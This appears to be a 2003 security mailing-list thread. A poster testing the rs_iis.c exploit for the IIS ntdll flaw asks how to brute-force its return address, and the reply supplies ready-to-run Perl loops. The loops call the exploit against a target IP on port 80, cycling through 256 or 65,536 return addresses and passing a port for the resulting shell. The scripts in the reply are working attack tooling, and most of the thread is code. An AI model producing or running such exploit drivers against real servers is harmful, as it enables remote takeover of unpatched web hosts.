Re: Generating Hex Numbers to brute force rs_iis.c

Well, I suppose you are meaning something like:

#!/usr/bin/perl
$IP = @ARGV[0];
while ($x < 256)
{
$x++;
$y = sprintf("%02x",$x);

  print "Trying at: $IP 0x${y}04 port 20${x}\n";
$output = `./rs_iis $IP 80 20${x} 0x${y}04`;
  print "$output\n";
}

You can run it with "brute.pl IP"

You could run it with all possible 65536 possibilities, but that's probably overkill.

#!/usr/bin/perl
$IP = @ARGV[0];
while ($x < 65536)
{
$x++;
$y = sprintf("%04x",$x);
$output = `./rs_iis $IP 80 12345 0x${y}`;
  print "$output\n";
}

maarten

• Original Message ----- From: "Jeremy Junginger" <jj@act.com> To: <vuln-dev@securityfocus.com> Sent: Monday, March 31, 2003 5:14 PM Subject: Generating Hex Numbers to brute force rs_iis.c

Hey guys,

Do you need help?

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In playing with rs_iis.c (ntdll exploit) in our lab, I've been looking for ways to brute force the return address.

I know there's been a shell script (rs_brute.sh) released that already does this, but since I've been playing with PERL lately (and since this shell script did not exist when I began playing with the exploit), I thought I'd take a whack at producing the RET addresses (0x0000-0xffff) in a PERL script. I just wanted to get your input and see if there is and easier way to do this (using PERL, of course). Basically, the goal is as follows:

1. generate Hex Numbers from 0x0000 to 0xffff in the following pattern (0x0000 0x0101 0x0202...0xfdfd 0xfefe 0xffff)
2. pass the output to rs_iis via system() command?

So far, I can generate the output and print it to stdout. Any tips on getting the script to run rs_iis once with each address produced by the script? Also, is there a way to produce this output without creating an array like this?

#!/usr/bin/perl -w
@HexD =
('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

for ($i = 0; $i <= 255; $i += 1) {

        printf("$HexD[int($i / 16)]$HexD[$i % 16]", $i);
        printf("$HexD[int($i / 16)]$HexD[$i % 16]\n", $i);
        }

Many thanks,

-Jeremy Received on Thu Apr 3 12:49:01 2003